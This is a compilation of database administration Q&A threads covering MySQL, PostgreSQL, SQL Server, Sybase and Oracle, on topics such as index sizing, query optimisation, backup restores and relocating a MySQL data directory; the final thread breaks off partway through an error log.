Obviously, it creates a form of redundancy in your database, because as has been said, the "last order" can be derived by looking at the ORDERS table, but that is a form of redundancy that the traditional normal forms do not seek to address.  Traditional normal forms up to BCNF consider functional dependencies only, and since it is presumably indeed the case that your customerid will unambiguously determine the corresponding last_order (*), having the last_order in the customers table is even the only place where the NF forms will say it belongs.

(*) if it can be the case that a customer has no orders at all, then there will be nothing to put in this column.  You will probably use NULL in that case, and there are those who say that this is in itself a violation of 1NF.  The more traditional version of normalization theory glosses over NULL cases completely.

EDIT

I noticed I have forgotten to answer the bonus question "what would be a better methodology for this type of work".  IMO, the proper way, at least theoretically, to address these kinds of situation is by using materialized views.  Define the aggregate query that computes the last_order for each customer as a view, and have the DBMS keep a physical record of its value ("materialize the view").  This way, the redundancy in the design has been brought under control (it is now entirely managed by the DBMS itself).  Unfortunately, few DBMS's will be able to support this for views that involve aggregation.  The rulesets of what is possible and what isn't, in this area, for a given DBMS, are rather diverse and extremely ad-hoc.

The trigger you say you already have is the next best thing if materialized view isn't an option.  Or remove the redundancy altogether and just recompute the last_order from the ORDERS table whenever it is needed, if that is feasible given the applicable performance requirements/expectations.


What accounts for a large single index size (other than bloat?) I've been doing some digging into the size of our production PostgreSQL 9.6 database and found some results I thought were surprising.

We have a table (let's call it foos) with about 10 million records. The primary key is an integer. We have a B-tree index on this table for an optional foreign key into another table (let's call it bars). Let's call the index index_foos_on_bar_id. bars.id is just an integer data type column.

When I look at the index size using the \di+ meta command I see that it occupies somewhere in the neighborhood of 1GB of space. Some back-of-the-envelope math would imply that each entry in the index thus takes about 1GB / 10 million = 100 bytes of space per-row.

There's almost no deletion taking place on the foos table, so the bloat is non-existent.

In my mind, an index would effectively contain something like sorted pairs of numbers mapping the indexed column to the primary key of the relevant table. However, since it's only integer types, that would only use about 4 + 4 = 8 bytes per row, which is way off from the 100 bytes per row that's actually occupied. I guess the fact that it's a tree structure could bump that up slightly, but the over 10x difference was a bit of an eyebrow-raiser for me.

What accounts for all of this "extra" space being used by the index?

There's almost no deletion taking place on the foos table, so the bloat is non-existent.

You don't need deletions to get bloat.  updates will do so as well.  A freshly made index on 10,000,000 ints gives me a size of 214MB, so you do have bloat (or are using weird hardware, perhaps).  You can't detect bloat just by thinking about to.  Rebuild the index and see if it gets smaller, or use pgstattuple.  Of course having a tightly packed index is not very efficient, as then nearly every operation needs to do page splits.

Your mental model of an index does not match how PostgreSQL does things.

An index does not point to a primary key value, it points directly into the table.  This is called a "tid", and generally takes 6 bytes.

The data value itself is stored to 8 byte alignment, so even if your data is an int4, it still takes 8 bytes of disk space.  Due to this alignment, You could build an index on two int4 columns, and it will still take the same size as one int4 column.

PostgreSQL is always prepared to handle NULL values on each row, as well as variable length data, even if the definition of the table/index precludes such things.  So each index tuple has a header which tells us whether that row has any NULL or variable length data, as well as the overall length of that tuple.  This takes up some space.

PostgreSQL uses page-organized storage, not just a huge malloc chunk.  Each page contains some more overhead, both per-block and per-entry within the block (see typedef struct ItemIdData).

So you get 8 bytes for the data itself (bar_id, aligned), 8 bytes of the tuple header which includes the tid pointer, and 4 bytes for the line pointer within each block, that comes up to 20 bytes.  With some overhead of non-leaf pages plus per-block overhead and some space within blocks which is not usable due to alignment or because they are at the ragged end of the data, I get an actual value of 22.4 bytes.  The other 4.5 fold would be bloat (although some of the "bloat" may be useful free space, unless your index is going to be absolutely static from now on)


Overhead of triggers and foreign key constraints? I have a sqlite database which is accessed by two programs.  There are a number of invariants/constraints which should always hold.  In addition to the usual foreign key constrains between tables, there is a table where once a row is inserted the row should never be deleted and several of its columns should never be changed.

The programs are written to maintain these conditions.
For example, there is no code which deletes from the table mentioned above.

I could also add triggers to the DB to enforce the required conditions by aborting statements which would violate them.  This seems like a reasonable idea to me, "belt and suspenders"-wise. Also it is some additional "living documentation" of the DB requirements.

I am assuming, but I can not find and concrete evidence, that these triggers would add minimal overhead as they should never be invoked (why would it even look at a BEFORE DELETE or BEFORE UPDATE trigger on a SELECT or INSERT?).

I am less sure about the likely overhead of foreign key constraints as these would seem to get checked on every INSERT/UPDATE/DELETE to their parent table.

Questions:
(1) Are the triggers/foreign key constraints a good idea even if I am very confident that my code will never attempt to violate them?
(2) Where can I get information on their overhead?

Are the triggers/foreign key constraints a good idea ...

Short answer: Yes.

  ... even if I am very confident that my code will never attempt to violate them?

Two things:

Firstly, it's not always going to be "your" code.  Times change, people move on, stuff happens.  If someone else comes along and "inherits" your code base, you cannot be "very confident" that they will do as good a job as you.  Constraints in the database will protect them from themselves.

Secondly, What's to stop someone hooking up their favorite sqlite client and poking around in the database directly?  If all the data integrity is done in the Application, then going "under the radar", into the database directly, gets around that and allows someone to fill the database with complete rubbish, potentially breaking the Application in the process.  Again, constraints in the database will protect them from themselves.

  Where can I get information on their overhead?

It's called Testing.

Whilst you can get general advice about such things, you won't really know how it affects your database until you try it out in your [test] database.

Benchmark your Tests with and without the constraints.  See if the difference, if any, is acceptable [to you and your users].


How to prevent 'table is mark as and last (automatic) repair failed'? This is the second time within the last 4 days that one of the tables in my database got corrupted. The is the error that I have seen in my apache log:

  PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[HY000]: General error: 144 Table [TABLE_NAME] is marked as crashed and last (automatic?) repair failed'

I managed to repair it manually using:

myisamchk -r -f $TABLE_NAME

but of course this is not a long term solution.

I need to understand why is this happening, so I can prevent it from happening again in the future.

Total database size is 2Gb, 100 tables, 7.5 million rows.
The table where it happened is the largest in the database: 1.2 million rows, 650Mb.
Server version: 5.5.50
ubuntu 14.04.1
PHP 5.5.9
I checked and there was enough free disk space. About ram, it was not an issue so far.
The host where the db reside is c3.xlarge (8Gb ram)

The database sits in the server harddisk. I am thinking about moving it to RDS, I wonder if that would help.

What do you suggest I should do? Any way to analyze mysql and understand where is the problem?

UPDATE

/var/log/mysql/error.log has this in it:

200213 14:57:21 [Warning] /usr/sbin/mysqld: Forcing close of thread 200315105  user: '[user1]'
200213 14:57:47 [Warning] Warning: Optimize table got errno 28 on [TABLENAME], retrying
200213 14:57:47  InnoDB: Starting shutdown...
200213 14:57:49  InnoDB: Shutdown completed; log sequence number 1983956605556

UPDATE - It is out of memory

found this in my syslog

Feb 16 11:18:16 ip-172-31-100-71 kernel: [67744017.270767] Out of memory: Kill process 14232 (mysqld) score 32 or sacrifice child
Feb 16 11:18:16 ip-172-31-100-71 kernel: [67744017.285148] Killed process 14232 (mysqld) total-vm:2447868kB, anon-rss:241432kB, file-rss:0kB
Feb 16 11:18:16 ip-172-31-100-71 kernel: [67744020.934420] init: mysql main process (14232) killed by KILL signal

Like I said before, my server is c3.xlarge with 8Gb RAM. Normal utilization is pretty low. I think there was a backup process that was running, maybe it could have caused higher resource utilization.

Any suggestions how to check further?

"marked as crashed" -- Longterm solution:  Switch from MyISAM to InnoDB.

"errno 28" -- Check the setting for tmpdir and consider changing it to a bigger dis partition.

"Out of memory" -- What is running?  Is this server hosting MySQL only?  Or does it have other things, such as a web server and PHP?  If hosting multiple apps, let's see my.cnf so we can advise on what settings to shrink.

References:

http://mysql.rjweb.org/doc.php/memory
http://mysql.rjweb.org/doc.php/myisam2innodb


MySQL - Left Join takes too long, how to optimize query? A leader may have many followers. A notification_followers table gets a single notification when a leader adds a post with an entry leader_id 1 and notifiable_id 0 (id 1,2 in table). The same table gets a single notification when the current user 14 is followed by someone, with an entry leader_id 0 and notifiable_id 14 (id 3 in table).

notification_followers (id is PRIMARY, each field except data is an index on its own)

| id | uuid               | leader_id | notifable_id | data   | created_at
-----------------------------------------------------------------------------------
| 1  | 001w2cwfoqzp8F3... | 1         | 0            | Post A | 2018-04-19 00:00:00
| 2  | lvbuX4d5qCHJUIN... | 1         | 0            | Post B | 2018-04-20 00:00:00
| 3  | eEq5r5g5jApkKgd... | 0         | 14           | Follow | 2018-04-21 00:00:00

All the follower related notifications are in one place now which is perfect.

We need to now check if the user 14 is a follower of leader_id 1 to know whether to show them notifications 1 and 2. For that, we scan the user_follows table to see if the logged in user exists as a followed_id to the leader_id so they know about the notification, but only if they followed the leader before the notification was posted (new followers should not get older post notifications when the follow the user, only new ones).

user_follows (id is PRIMARY, each field is an index on its own)

| id | leader_id | follower_id | created_at
----------------------------------------------------
| 1  | 1         | 14         |  2018-04-18 00:00:00 // followed before, has notifs
| 2  | 1         | 15         |  2018-04-22 00:00:00 // followed after, no notifs

The final thing to note, is the user should know if the notification was read or not, this is where the notification_followers_read table comes in. It stores the follower_id along with the notification_uuid for all read notifications, along with their read_at timestamp.

notification_followers_read (composite index on notification_uuid, follower_id)

| notification_uuid | follower_id | read_at
--------------------------------------------------------
  qIXE97AP49muZf... | 17          | 2018-04-21 00:00:00 // not for 14, we ignore it

We now want to return the latest 10 notifications ordered by the auto incrementing nf.id desc for user 14. They should see all 3 notifications from notification_followers, since non of them were read by this user yet. The first 2, since they followed the leader before the leader made the posts, and the 3rd notification, since they were followed and their notifiable_id is 14.

Here is the query which works, but take too long ~9 secs:

SELECT nf.id, nf.uuid, nf.leader_id, nf.data, nf.created_at, nfr.read_at
FROM notification_followers nf
LEFT JOIN user_follows uf ON uf.leader_id = nf.leader_id AND uf.follower_id = 14
LEFT JOIN notification_followers_read nfr ON nf.uuid = nfr.notification_uuid AND nfr.follower_id = 14
WHERE (nf.created_at > uf.created_at OR notifiable_id = 14)
ORDER BY nf.id DESC LIMIT 10

notification_followers has ~100K records and we're using InnoDB. Here is the EXPLAIN for the query:

How can we optimize the query so it runs in a few ms?

UPDATE WITH SQL DUMP

SQL DUMP TO REPRODUCE LOCALLY just create speed_test database locally and import file to see the slow query issue live with all the table data (~100K rows).

Summary from the comments:

So far I'm getting the best result with

CREATE INDEX nfr_fid_nuuid
             ON notification_followers_read
                (follower_id,
                 notification_uuid);

and

CREATE INDEX uf_fid_lid
             ON user_follows
                (follower_id,
                 leader_id);

and all the other indexes, except the primary ones, dropped. For notification_followers it used the PRIMARY index with me. I couldn't find anything better than PRIMARY for this table so far.

Tests were done on a MySQL v5.7.21 32 bit on Windows 7 32 bit.

Execution times were about 4 secs without and .2 secs with the indexes as stated above.

Some lines on how, why and whatever: (haven't had the space for that in the comments)

(Disclaimer: My knowledge on that shouldn't be All bad overall. Though, in some aspects my understanding might be improvable or just plainly wrong. Anyone feel free to correct me if I'm wrong somewhere -- edits or comments welcome.)

A general thing about joins in terms of performance:

As already mentioned in the comments, one goal with joins is to keep the sets joined as small as possible, as early as possible. For illustration: In the worst case, when a nested loop join must be applied, an A JOIN B needs #A*#B (let #A be the number of rows in A, analog for B) comparison operations. So any row from A (or B), which can be ruled out before the actual join operation is applied, will reduce the number of operations not only by 1 but by #B (or #A). One would want that in terms of performance.

If a join can be done via an index, especially in a way, that the DBMS can easily localize the portion of the index relevant for the join (i.e. keeping the set small), that can be a huge booster. Of course there are some other advantages an index can provide here (e.g.: the rows are already accessible in a sorted manner supporting more efficient join methods, the index might be significantly smaller and fit largely into memory thus reducing the need for constant disk IO, ...).

But all that is a topic on it's own, so this is just meant as a rough abstract.

On the query the question is about:

Now first thing to notice about the query: It is a LEFT OUTER JOIN (OK actually it's two but that doesn't matter for this thought). notification_followers is the left table here, so its set of records won't get reduced by the joins, just the WHERE can do that.

The WHERE unfortunately is an OR. These are difficult and "bad" in contrast to AND. It is more like a union hence keeping the set large, than like an intersect reducing the set's cardinality (Compare: For A OR B the result set is all rows WHERE A UNION all rows WHERE B in contrast to A AND B for which the result set is the all rows WHERE A INTERSECT all rows WHERE B).

So the WHERE isn't a too promising target to be answered from one index alone in a single run. Furthermore one of the ORed operations from the WHERE (nf.created_at > uf.created_at) depends on the joined data, so that one can only be applied after (or at best while) the join.

There is also the ORDER BY which can be expensive especially, when the result set is too large to be kept in memory. It then needs to be sorted with constantly writing and reading from the disk (for a larger buffer). And disk access takes a lot of time.

So my hope for notification_followers was to find a compound index, that would support the ORDER and ideally at least one of the ORed comparisons. As mentioned I failed on that. But my expectations also weren't too high on that, given the discussion on that part above.

Or PRIMARY is just good enough for that in the view of the DBMS, which might be fine. As I understand tables with a primary key in InnoDB are actually stored as clustered indexes. What I couldn't find (quickly) in the docs was, if the records are also double linked in order by the primary key. That would allow PRIMARY to support the ORDER by a reverse traverse of that linked list and make PRIMARY a good choice indeed.

The ONs of the joined tables are rather easy in contrast to the WHERE and the ORDER. (Exemplary I will use the join with user_follows, notification_followers_read is analog.) Here we have two relevant columns, leader_id and follower_id.

follower_id seems to be more suitable for the first column of a compound index. It's compared with a literal, hence independent of the partner rows of the join. The relevant portion of the index, a subtree -- "normal" indexes in MySQL are some B tree variant -- can thus be (re)used for all join partners. And also note the reduction of the set of possible rows from user_follows here!

Also having leader_id as a column in that index should then make the user_follows's part of the join answerable from this index alone. And indeed it worked.

Note, that the order of the columns in the statement isn't necessarily the same for an index on them. Whatever is commutable is commuted by the optimizer, if it promises to be better. So the order won't be necessarily kept anyway. To find a good order of columns for an index one must mainly think about what order would partition the index in a most "radical" fashion first (leaving the remaining part as small as possible).


What is the term that describes the use of OFFSET and LIMIT in a query I am looking for a technical term (or phrase, or something concise) that describes the process of limiting the number of records returned from a query through the use of OFFSET and LIMIT.

For example, I have an application that displays a bunch of records in a table. If I do something naive like this

SELECT * FROM table

It might be slow, especially if there are millions of records, so I optimize my application by using a paginated user interface that will display 50 records at a time. So for example, I want to get records 101 to 150 because the user decided to go to page 3, I might say something like

SELECT * from table LIMIT 50 OFFSET 100

I don't know what kind of words I should be using to describe my design decisions so that others will immediately understand what I'm doing.

It's generally called paging.

Different vendors have implemented it in different ways. SQL Server was late in adopting the standard (OFFSET/FETCH in SQL Server 2012); prior to that you had to use wacky tricks with CTEs and ROW_NUMBER(), and I forget what we did in SQL Server 2000. #temp tables? MySQL chose to one-finger salute the standard and use LIMIT.

Lots of discussion about various techniques for SQL Server in this comment thread.


How to insert SP results in a multiple tables I have an sp it results in 3 sets. Now the problem is i want insert these 3 result sets in to 3 temp tables. In these three results are different structures and no.of columns also different in these results.

SQL Server has no built-in mechanism for capturing multiple result sets returned from Stored Procedures where the result sets have differing numbers of columns and/or datatypes in the same column position. INSERT...EXEC can output multiple result sets, but they need to have the same number of columns with the same datatypes in each position. And both OPENQUERY and OPENROWSET will only return the first result set, no matter how many are returned by the stored procedure (or query).

However, this can be accomplished using SQLCLR. So, if you can't update the Stored Procedure, then you can do something like the following in .NET / C#:

using (SqlConnection _Connection = new SqlConnection(_ConnectionString))
{
  using (SqlCommand _Command = _Connection.CreateCommand())
  {
    _Command.CommandType = CommandType.StoredProcedure;
    _Command.CommandText = "SchemaName.StoredProcedureName";
    // parameters, if any

    _Connection.Open();

    using (SqlDataReader _Reader = _Command.ExecuteReader())
    {
      // Stored Procedure has been executed. Now save the results.
      // Using the Context Connection allows access to local temp tables.

      using (SqlConnection _Connection2 = new SqlConnection("Context Connection = true;"))
      {
        using (SqlCommand _Command2 = _Connection2.CreateCommand())
        {
          _Connection2.Open();

          _Command2.CommandText = "INSERT INTO #Temp1 (column_list)
                 VALUES (@Param1, @Param2, ...);";

          SqlParameter _Param1 = new SqlParameter("Param1", SqlDbType.Int);
          _Command2.Parameters.Add(_Param1);

          // define addition parameters

          while (_Reader.Read())
          {
            _Param1.Value = _Reader.GetValue(0);
            _Param2.Value = _Reader.GetValue(1);
            // set additional parameters

            _Command2.ExecuteNonQuery();
          }

          _Reader.NextResult(); // move to result set #2

          _Command2.Parameters.Clear(); // reset input parameters
          _Command2.CommandText = "INSERT INTO #Temp2 (column_list2)
                 VALUES (@Param1, @Param2, ...);";

          SqlParameter _Param1 = new SqlParameter("Param1", SqlDbType.Int);
          _Command2.Parameters.Add(_Param1);

          // define addition parameters

          while (_Reader.Read())
          {
            _Param1.Value = _Reader.GetValue(0);
            _Param2.Value = _Reader.GetValue(1);
            // set additional parameters

            _Command2.ExecuteNonQuery();
          }

          _Reader.NextResult(); // move to result set #3

          _Command2.Parameters.Clear(); // reset input parameters
          _Command2.CommandText = "INSERT INTO #Temp3 (column_list3)
                 VALUES (@Param1, @Param2, ...);";

          SqlParameter _Param1 = new SqlParameter("Param1", SqlDbType.Int);
          _Command2.Parameters.Add(_Param1);

          // define addition parameters

          while (_Reader.Read())
          {
            _Param1.Value = _Reader.GetValue(0);
            _Param2.Value = _Reader.GetValue(1);
            // set additional parameters

            _Command2.ExecuteNonQuery();
          }
      }
    }
  }
}

Now, since you want to store the results into local temporary tables, those need to be created before you execute this SQLCLR stored procedure. If you create them inside the SQLCLR stored procedure, they won't exist once the stored procedure completes.

CREATE TABLE #Temp1 (column1 DATATYPE_1, column2 DATATYPE_2, ...);
CREATE TABLE #Temp2 (column1 DATATYPE_1, column2 DATATYPE_2, ...);
CREATE TABLE #Temp3 (column1 DATATYPE_1, column2 DATATYPE_2, ...);

EXEC dbo.SQLCLR_StoredProcedure;

SELECT * FROM #Temp1;
SELECT * FROM #Temp2;
SELECT * FROM #Temp3;

BUT, as @AndriyM pointed out in a comment on this answer, if you are able to modify the Stored Procedure, then given that the local temporary tables need to be created first anyway**, it would be better / simpler to modify your Stored Procedure to insert directly into the temp tables, as opposed to adding logic to control which single result set gets returned. In this case, you can detect the existence of the local temp tables and if they do exist, then insert into them, else return the result sets as the Stored Procedure currently does, and this will ensure that any existing code that calls this Stored Procedure will continue to get the three expected result sets. And you don't even need to add any optional input parameters. Just use the following approach per each of the three queries that returns a result set:

IF (OBJECT_ID(N'tempdb..#Temp1') IS NULL)
BEGIN  -- Temp Table does NOT exist, so return result set
   SELECT col_1, col_2, col_3, ...
   FROM   SchemaName.TableName
   WHERE  ...
END;
ELSE
BEGIN  -- Temp Table DOES exist, so insert results into it
   INSERT INTO #Temp1 (column1, column2, column3, ...)
      SELECT col_1, col_2, col_3, ...
      FROM   SchemaName.TableName
      WHERE  ...
END;

** Creating the local temporary tables first wasn't necessarily specific to my SQLCLR suggestion. A single local temp table also needs to be created first in situations where one is able to use INSERT...EXEC. However, in situations where OPENQUERY is an option, then doing SELECT...INTO #tmp would allow for not creating the local temp table first.


Missing / Orphan Indexes? In the process of finding duplicate indexes, I've been using the following query to identify them:

SELECT
indrelid::regclass AS TableName
,array_agg(indexrelid::regclass) AS Indexes
FROM pg_index
GROUP BY
indrelid
,indkey
HAVING COUNT(*) > 1;

From which I get an entry with the following data:

tablename   indexes
distribucion.asignacion {distribucion.distribucion_unique_asignacion_imei,distribucion.pk_distribucion_asignacion}

Too check that the index are actually duplicate, I manually see the columns involving each reported index, with this query:

select * from pg_indexes where tablename='<table_name>';

But when I search for the above indexes for ''distribucion.asignacion'' table I get no results.

What could be wrong? Have these indexes been left "orphan", if so, may be there are other orphan structures too in my database, so how can I find such?

pg_indexes.tablename only contains the table name, not the schema name. The schema name is available in the column schemaname.

So you need to use

select *
from pg_indexes
where tablename ='asignacion'
  and schemaname = 'distribucion';


Find records size in kb/mb/gb for one client from multiple table in one database I have multiple client using same database, i need to find client wise size utilized.

Seems you want to know the size utilization per row, that's not possible as the data basically stores in page format not in row format, each page can have maximum ~8KB of storage (may vary depending on fill factor), and NOT always a page can store same number of rows. It would be easy in case if you got separate partition per client

Otherwise, you can only get an idea how much utilized per each client based on average calculation factor, but it's NOT precise number. i.e. if total rows in a table 1,000 and stored in 1024 KB (128 pages), the average per client while having 200 rows would be 204.8 KB (20% of total rows in table). You can use same calculation with non-clustered indexes as well

Following query help you to get size utilization of every user table in database. Consider the clustered index and heap utilization space is actual data size, nonclustered index utilization space is additional storage of table other than actual data.

select  OBJECT_NAME (s.object_id) as ObjectName,
        sc.name SchemaName,
        i.name as IndexName,
        s.partition_number,
        SUM (CASE WHEN s.index_id = 0 -- HEAP (actual data)
                then (used_page_count * 8.00) / 1024 end
            ) as HeapData_Mb
        ,SUM (CASE WHEN s.index_id = 1 -- Clustered Indexes (actual data)
                then (used_page_count * 8.00) / 1024 end
            ) as CluIndex_Mb
        ,SUM (CASE WHEN s.index_id > 1 -- Clustered Indexes (actual data)
                then (used_page_count * 8.00) / 1024 end
            ) as NCluIndex_Mb
        ,max (row_count) as [RowCount]
from sys.dm_db_partition_stats as s
    join sys.indexes as i on s.object_id = i.object_id and s.index_id = i.index_id
    join sys.tables as t on s.object_id = t.object_id
    join sys.schemas as sc on t.schema_id = sc.schema_id
GROUP BY s.object_id, sc.name, i.name, s.partition_number
ORDER BY  ObjectName, IndexName

Additional References:
Partitioned tables and Indexes:
Horizontal Partitioning


suppress header in output of sybase query in Linux Could someone tell me how to suppress header in the output of sybase query in Linux?

My output is like this:

col1 col2
---------
val11 val12
val21 val22

My required format is:

val11 val12
val21 val22

Thanks.

Use -b to suppress headers when you connect via isql.

isql -UmyUser -SMYSERVER -iscriptFile -b


Restore differential backup error - no files are ready to rollforward I'm trying to restore a differential backup of a test database, but I'm getting a error saying:

What I have done is created a test database, called "tdb", where I added some data in a new table, changed the recovery model of the database to SIMPLE and then created a FULL Backup.

After that, I added some more data into a new table and continued with making a differential backup.

When restoring the database I restored the full backup first, chosing the Overwrite existing database (WITH REPLACE) option from SSMS, which worked correctly.

Then when trying to do the same thing with the differential backup file, I get the above error.

I've looked at the Microsoft documentation as well and I've followed the same steps mentioned there, but I don't see what I've done wrong. Any help is appreciated.

You have to restore the full with NORECOVERY and restore the diff with RECOVERY.

A differential is no good without the full backup that goes with it.  The differential backup contains the changed data 'since' the full.  To restore the diff, you have to restore the full.

Restoring the full with NORECOVERY allows you to apply future diff or log restores.  the very last restore of either a diff or log will need the with RECOVERY option to bring the database online.

Once you use the RECOVERY option on any restore scenario, you're done and no more restores can occur. The unfortunate thing is, RECOVERY is the default on a restore and if I had a dollar for every time someone in the world ran a long restore and forgot to use NORECOVERY only to find out that fact when they tried to apply diffs or logs, I would be on a beach somewhere and not on this site ;)


Mysql 1 way replication master lost data replication still has Had a master mysql on (windows) improper shutdown. Many records could not be recovered and investigation found slave had records master did not have. Did not restore over master - left as was. As if by magic, about 6 weeks later the missing data from master re-appeared on the master, and now master>slave agree, with some lingering discrepancies. We're talking thousands of rows across many schemas and many tables within each schema. Looking for theories and data mining is not revealing much of anything. 1st question is knowing MySQL tries to automatically recover data, could something have happened where mysql cached it, then released it 6 weeks later. Anybody encountered this or any known issues like this?

There is no mechanism in MySQL for a master to recapture "lost" (missing, corrupt) data from a slave.  Unless replication is circular (or master/master, where each machine is both master of, and slave to, the other... don't try this at home) then the interaction between master and slave is strictly one-way.  Even in a circular configuration, there's no "recovery" or resynchronization mechanism.

There is also no mechanism for data to be hidden away and reappear.  The comment referencing InnoDB recovering data from log files seems to overlook the fact that this sort of recovery occurs at start-up, and until it is complete, the server doesn't start accepting connections.

The answer should be discoverable in the master's binary logs (you archive those, right?) and the daily backups from master and slave (you archive those, too, right?).

Absent frequent periodic backups and historical binlogs, it seems difficult to speculate further.


table_name.ibd file size is increasing ( MySQL 5.7.7 Enterprise) ( Innodb Engines) I am using MySQL 5.7.17 Enterprise edition in RHEL with configuration innodb_file_per_table=ON .

So now here i have 2 question :

Instead of ibd file per table ,i can see ibdata1,ib_logfile1,ib_logfile0 in data directory which is getting updated regularly .However these files are not big in size but collectively , these 3 files are consuming 15-20 GB space .
So , instead of having ibd file per table "ON" , do these files still exist or if they exist what they contain which is making it updated regularly ?
I have devoted 393 GB to the data directory . and one database folder is occupying 293 GB alone. I have table_name.ibd files of size 84 GB-100 GB. Is there any way that i can check if any memory is getting waste ? and if it is getting waste how can i reclaim it ?

I ran optimize tables for some small tables only ( it helped) because if i run this command for big tables , i  need more space before using optimize command as space required is table_size*2 .

I have checked table sizes as well . Size of table and size of respective table's ibd file , vary with 2 -3 GB difference .

Can anyone help me , what can i do here ?

Should i point MySQL data directory to new path ? if it is possible , how can i do this ?

Size of file (in GB) in Descending order :
93
33
19
17
16
14
13
11
11
9.2

Now that you have posted the top tablespace file sizes, here is my attempt to answer your questions:

Yes, regardless of what value you have for innodb_file_per_table the files ibdata & ib_logfile will be there. There can be multiple ibdata files depending on how you configure innodb_data_file_path. ib_logfile(s) can also be multiple depending on the value you use for innodb_log_files_in_group. To calculate how much size for log files is good for you, have a look at How to calculate a good innodb log file size

If your ib_logfiles are GBs, it will best to recalculate the size you really need (see link above) and set the size accordingly. ibdata* files are difficult to resize (the only way I know is to mysqldump the whole DB and reimport in a new installation).

You can calculate free tablespace that can be compacted by using this query:

SELECT table_name, (data_free)/power(1024,2) free_space_mb
FROM information_schema.tables
WHERE table_schema='[yourdb]'
ORDER BY free_space_mb DESC;

If you find any tables that have GBs worth of free space, then running OPTIMIZE on such tables should reduce the on-disk tablespace size.

If you have bigger disk/volume available that you want to take your datafiles to, use the following as a guide:

Stop MySQL service
Copy contents of your current data directory (usually /var/lib/mysql on CentOS/RHEL) to the new location
Make sure all folders and files on the new location where mysql files have been copied to, have owner AND group set to "mysql".
Edit /etc/my.cnf, set datadir to the new location where you copied mysql files to
Restart mysql service


Best way to replicate MySQL database tables I'm trying to wrap my head around the many options on how to possibly sync database tables automatically from one database to the next (and next, and next, ...).

We're trying to create a very simple database sharding system for our marketing saas product where we've created ID's that represent a project-id (the id we'd like to "shard" on) and a local-id (primary key of the table). These ID's are 64 bits and look something like this: 1099511627777 (project: 1, local id: 1).

We like to create a system that allows us to scale 'horizontally' by letting us move projects from one database or server to another one or even to a completely new one.

Now, I've tried researching all the options and it's just too much for me to start. We like to create a system where only the database tables are replicated to all the other databases. But only the tables, not the data inside these tables.

Is there such a way to replicate only the tables and thus keeping the 'cluster' of databases in sync with each other? Ideally we want to have our application (Laravel/PHP/MySQL based) run migrations only on one database/server and replicates it automatically to all other databases and servers

Thanks in advance

"Sharding" involves servers running in parallel, not replicating one from another.

The most practical way to copy a schema without the data is via mysqldump --no-data.  However, there is no automation for that.

Bluntly put, you have to reinvent the sharding wheel.  There is very little that addresses the many issues of sharding.

That said, I suggest you look at Spider, Clustrix, NDB Clustering, and perhaps a few others.

I strongly suggest you perfect a way to copy a 'project' from one shard to another.  It should be as close to non-invasive as practical.  Then it could be the main tool for updating hardware, updating software, offloading a busy shard, retiring hardware, etc.  Specifically to your question, you can build a new shard with upgraded Laravel/schema/etc, then migrate projects to it.  Rinse, repeat.


Convert String date format in Jalali to Gregorian Hello I have The data table in oracle SQL 12c with 2 col one is thetime , and another is theh the data stored in cols are varchar and format like this :
THETIME | THEH
14000207| 1245
14000207| 1230
14000207| 1215
...

which the 14000207 tell is 1400(yyyy) , 02(MM) and 07(dd) and in THEH 12(HH) and 45(mm) I need to convert it to date format with time for better selecting the data but it's a jalali date and Before do that I need converting to Gregorian , so how Can I do that?
ps :
the 1400-02-07 equal to 2021-04-27

Try this one:
ALTER SESSION SET NLS_CALENDAR = 'Persian';

SELECT TO_DATE(THETIME || THEH, 'YYYYMMDDHH24MI')
FROM dual;


store log of update,insert operation of postgresql user I have to create postgresql user in postgresql 9.0 and give grant on my database xxx and whose all log of insert and update operation should be stored in one external log file so that i can have all information about his operations performed on my database.
How i can achieved this in my postgresql 9.0.
please suggest me any way.

Have a look at the Postgresql wiki page where there are comprehensive examples of audit mechanisms for both Postgresql 9.0 and 9.1+

PG 9.0: https://wiki.postgresql.org/wiki/Audit_trigger
PG 9.1+:
https://wiki.postgresql.org/wiki/Audit_trigger_91plus, with more code from Craig Ringer at https://github.com/2ndQuadrant/audit-trigger


MySQL does not start - Ubuntu 14.04 LTS after migration to new disk I have installed in a Virtualbox VM a 64-bit desktop version of Ubuntu 14.04 LTS and MySQL Server 5.6. I had some databases in the machine's main virtual hard disk but then I was going to open a SQL dump with a size of 6 GB, and the disk didn't have enough space to open it. So, I decided to create a new virtual disk (13 GB) and attach it to the VM.

After formatting the new disk I created a new folder called mysql-db-new in the new volume. Now I will give you the entire process I did to migrate the databases from the main volume to the new volume:

Stop MySQL server:

sudo /etc/init.d/mysql stop

Move MySQL data to the new drive:

sudo mv /var/lib/mysql /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/

Edit /etc/mysql/my.cnf to point the new location (initially /var/lib/mysql):

datadir = /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql

Configure AppArmor with the new path:

sudo gedit /etc/apparmor.d/usr.sbin.mysqld

All lines with /var/lib/mysql were replaced with the new location /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql
Change permissions and group of the new location:

sudo chgrp mysql /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql

sudo chmod 755 /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql

Restart MySQL:

sudo /etc/init.d/mysql start

Then after all this steps, MySQL start failed. Then I watched the /var/log/mysql/error.log and this is the output:

140904 15:25:14 mysqld_safe Starting mysqld daemon with databases from /media/juanjo/2d4aef3c-ae2e-4b30-8bb7-c5723eb5403b/mysql-db-new/mysql
140904 15:25:14 [Warning] Using unique option prefix key_buffer instead of key_buffer_size is deprecated and will be removed in a future release. Please use the full name instead.
140904 15:25:14 [Warning] Using unique option prefix myisam-recover instead of myisam-recover-options is deprecated and will be removed in a future release. Please use the full name instead.
140904 15:25:14 [Note] Plugin 'FEDERATED' is disabled.
/usr/sbin/mysqld: Table 'plugin' is read only
140904 15:25:14 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it.
140904 15:25:14 InnoDB: The InnoDB memory heap is disabled
140904 15:25:14 InnoDB: Mutexes and rw_locks use GCC atomic builtins
140904 15:25:14 InnoDB: Compressed tables use zlib 1.2.8
140904 15:25:14 InnoDB: Using Linux native AIO
140904 15:25:14 InnoDB: Initializing buffer pool, size = 128.0M
140904 15:25:14 InnoDB: Completed initialization of buffer pool
140904 15:25:14 InnoDB: highest supported file format is Barracuda.
